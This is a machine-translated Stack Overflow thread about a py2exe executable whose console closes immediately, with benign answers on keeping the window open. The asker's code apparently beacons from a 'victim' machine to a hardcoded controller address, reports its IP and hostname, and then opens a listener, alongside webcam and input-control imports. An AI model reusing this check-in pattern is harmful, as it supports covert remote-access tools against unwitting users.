Python time.sleep关闭终端

时间:2015-07-10 23:05:57

标签: python compilation executable py2exe

我使用了这个setup.py脚本:

from distutils.core import setup
import py2exe

setup(console=['tcphost.py'])
to compile a code that imports this:

import os
import pygame.camera
import numpy as np
import time
import cv2
import socket
import autopy
import glob

def TCPclient ():
CreatePath()
ViHost = str(socket.gethostbyname(socket.gethostname()))
ViPort = 6869
AtHost = "192.168.56.1"
AtPort = ViPort

AtSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

TryCon = True
while TryCon == True:
    try:
        print "Trying to connect..."
        AtSock.connect((AtHost, AtPort))
        TryCon = False
    except:
        print "Could not connect"
        TryCon = True
        time.sleep(30)
print ("Connected.")
AtSock.send("<||.IP..||>" + ViHost)
time.sleep(1)
AtSock.send("<||.PRT.||>" + str(ViPort))
time.sleep(1)
AtSock.send("<||.NAM.||>" + str(socket.gethostname()))
time.sleep(1)
AtSock.send("<||.EXT.||>")
time.sleep(1)
AtSock.close()
print ("Messages sent and socket closed.")
TCPserver (ViHost, ViPort)

if __name__ == "__main__":
    TCPclient()

(不能发布所有代码,因为堆栈溢出会很大)

它编译得很好然而当我尝试运行可执行文件时,会弹出一个终端窗口打印

Trying to connect...
Could not connect

(因为它应该),但然后快速关闭,但如果我尝试从终端运行它它工作正常。 为什么以及如何让它保持开放状态?

修改

为了清楚说明如果我双击可执行文件,会弹出一个窗口并关闭。 如果我从命令行运行exe,一切都很好。

3 个答案:

答案 0 :(得分:1)

time.sleep不是导致脚本停止的原因。

Windows命令正在执行它应该执行的操作,它运行脚本然后当所有内容都执行时它会自行关闭。

阻止这种情况发生的常见方法是在脚本末尾加入input()

Python 2.7

raw_input("Press Enter to exit")

Python 3.4

input("Press Enter to exit")

答案 1 :(得分:0)

我在尝试时可能出错:-except:syntax / execution但我认为第一次尝试连接时将TryCon设置为False,因此再也不会进入while循环。

while TryCon == True:
    try:
        print "Trying to connect..."
        AtSock.connect((AtHost, AtPort))
        TryCon = False                   # I think this might be your problem
    except:
        print "Could not connect"
        TryCon = True
        time.sleep(30)

答案 2 :(得分:0)

是否可能需要为py2exe编译版本包含Microsoft Visual C运行时DLL才能生效? py2exe教程说这是必需的。

http://www.py2exe.org/index.cgi/Tutorial#Step5

Python time.sleep函数对OS的sleep函数进行系统调用或标准库调用。也许这是C Runtime可再发行组件提供的函数之一。

这可以解释为什么time.sleep在命令提示符下在普通Python解释器中运行时会起作用,但在捆绑的.exe程序中运行时会失败。您看到的行为似乎与time.sleep调用失败一致:这可能引发您的脚本未处理的异常或其他错误,并导致程序终止,这将关闭控制台窗口。

尝试将整个程序包装在try / except块中,以便捕获其他错误,显示错误并执行input()技巧以保持控制台窗口打开。您可能还需要缩进函数定义的行以使其被识别为函数体而不是顶级脚本语句。

还尝试从命令行运行捆绑的.exe,而不是双击它。根据它的编译方式,这可能会导致输出转到现有的控制台窗口,该窗口在程序终止后保持打开状态,因此您可以看到任何错误消息。您也可以使用Windows start命令获得相同的效果。